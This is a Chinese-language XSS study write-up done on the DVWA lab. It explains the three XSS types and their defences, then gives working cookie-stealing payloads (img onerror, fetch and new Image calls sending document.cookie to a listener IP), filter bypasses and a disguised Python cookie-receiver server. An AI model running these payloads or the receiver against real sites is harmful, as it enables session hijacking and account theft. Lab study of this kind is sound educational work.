学习XSS
首先先分清楚XSS的三种类型
反射型XSS,存储型XSS,DOM型XSS
(删删减减终于能过审核)
反射型XSS
恶意代码没有存进数据库。它只作为这次请求参数的一部分,被服务器反射到了HTML页面里。
特点:不持久,只对一次请求有效
例:
<script></script>js脚本标签
alert()用来弹窗内容
<script>alert('XSS')</script>
成功弹窗XSS

可以利用document.cookie获取cookie
document:DOM对象,代表当前整个网页文档
.cookie:document的属性,读取当前网站保存在浏览器里的cookie
<script>alert(document.cookie)</script>

反射型XSS建议防御方法:使用HTML实体编码、过滤危险标签
存储型XSS
恶意代码存进数据库。后续任何人访问该页面都会加载执行恶意代码。
特点:持久,访问该页面即触发
如图,以前留下的恶意代码在我进入页面时触发了。

存储型XSS建议防御方法:使用实体参数,过滤危险标签
DOM型XSS
恶意代码执行在前端。前端JS把恶意代码写入进DOM,由JS渲染执行
特点:纯前端漏洞,服务器依旧正常输出
正常选择English,网页请求里有个参数
将参数改成恶意代码,前端执行了

然后发现参数成为了下拉框选项之一

选择这个选项,发现上次的恶意代码被二次编码了


DOM型XSS建议防御方法:前端防御为主,不使用innnerHTML直接拼接可控数据,不要把可控外部数据当HTML代码解析,只当做纯文本处理
搭建XSS接收平台
在kali上写接收cookie的Python脚本
from http.server import SimpleHTTPRequestHandler, HTTPServer
#从http.server库导入“SimpleHTTPRequestHandler”处理请求,导入“HTTPServer”创建服务器
class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
#打印收到的请求路径(包含了Cookie)
print(f"[+] received request: {self.path}")
#返回200,隐藏攻击行为
self.send_response(200)
#声明响应的类型是image/gif,也是为了隐藏攻击行为
self.send_header('Content-type', 'image/gif')
self.end_headers()
#将返回内容伪装成图片,一个1*1像素的透明gif图
self.wfile.write(b'GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff!\\xf9\\x04\\x01\\x00\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02D\\x01\\x00;')
#启动服务器
if __name__ == '__main__':
#监听本机所有网卡,端口8888,serve_forever让服务器在我没CTRLC停止时一直运行
HTTPServer(('0.0.0.0', 8888), MyHandler).serve_forever()

接下来测试是否有用
<script>new Image().src="http://192.168.1.160:8888/?c="+document.cookie;</script>
new Image():JS内置对象,创建一个图片对象(不需要把图片插入页面,设置好src浏览器就会自动发起HTTPGET请求拉去图片)
.src="http://…../?c=":httpURL地址是接收cookie的主机的地址(这里是我的局域网内kali虚拟机的IP地址),8888是监听端口;?c=,这里c是URL的查询参数,用来承载cookie
+:JS字符串拼接符号
document.cookie:读取当前网站的cookie
另一种写法:
加入限制了<script></script>
src=1:不合法的图片获取,加载图片会失败
onerror=:当图片加载失败是,自动执行引号里的JS代码
<img src=1 onerror="new Image().src='http://192.168.1.160:8888/?c='+document.cookie">
这里前端限制文本输入长度了

删除前端限制
找到限制参数maxlength="50",删除(不过还是用burp来改参数重放好点,删除限制这招每次刷新页面后都要删除一次)

写入恶意代码并发送

网页没有任何弹窗,静默获取cookie。

换浏览器新登录DVWA被重置难度impossible,搞得我以为我的XSS没用。定睛一看,我的代码被实体编码了。改一下难度。。

接下来每次访问这个网页,都会向我的接收cookie服务器发送一份cookie,换个浏览器访问如图又获得一份cookie

接下来尝试其他角度
试试升级难度并从“Name”的位置进行代码注入

抓包修改参数
<img>标签绕过<script>限制
+号,绕过空格限制
<img+src=1+onerror=alert(document.cookie)+

再次访问页面成功触发XSS,得到cookie弹窗

尝试让cookie静默发送到我的cookie接收器
<img+src=1+error="new+Image()='http://192.168.1.160:8888/?c='+document.cookie"+

写进去了

但是我的接收器空空如也。。。前面弹窗明明好好的啊,为什么突然不行
是new Image的问题?

清空记录重新搞payload
这次用个新伙伴
fetch()函数:浏览器原生的网络请求API,用来发起网络请求(默认GET)
<img src=1 onerror='fetch(`http://192.168.1.160:8888/?c=+document.cookie`)'>

访问页面

接收器接收到了。。。啥玩意?

噢噢,了解了发现不能这样写
document.cookie要用${…}来把值替换进URL字符串。
<img src=1 onerror='fetch(`http://192.168.1.160:8888/?c=${document.cookie}`)'>

访问页面

成功触发XSS并且获取到cookie

老规矩,换个浏览器试试。
成功!

把难度换成高难度“high”,也成功!

难度换成impossible就不行了。。
搞个延时版payload
<img src=1 onerror="setTimeout(()=>{fetch(`http://192.168.1.160:8888/?c=${document.cookie}`)}, 1000)">
#1000 ,延时1000ms,即1秒
搭建本地XSS平台(用于靶场个人学习)
BlueLotus_XSSReceiver
XSS-Platform
XSSTRace
搭建在线XSS平台
真实SRC挖洞不能用第三方XSS平台。。。咋办
VPS上搭建私有平台
可以在VPS上搭建私有平台,即租在公网的云服务器来获取挖洞的XSS的信息。
轻量级服务器即可。
内网穿透
使用内网穿透工具。原理:在本地kali和公网服务器之间打一条隧道,把公网请求转发到本地
Ngrok
Cloudflare Tunnel


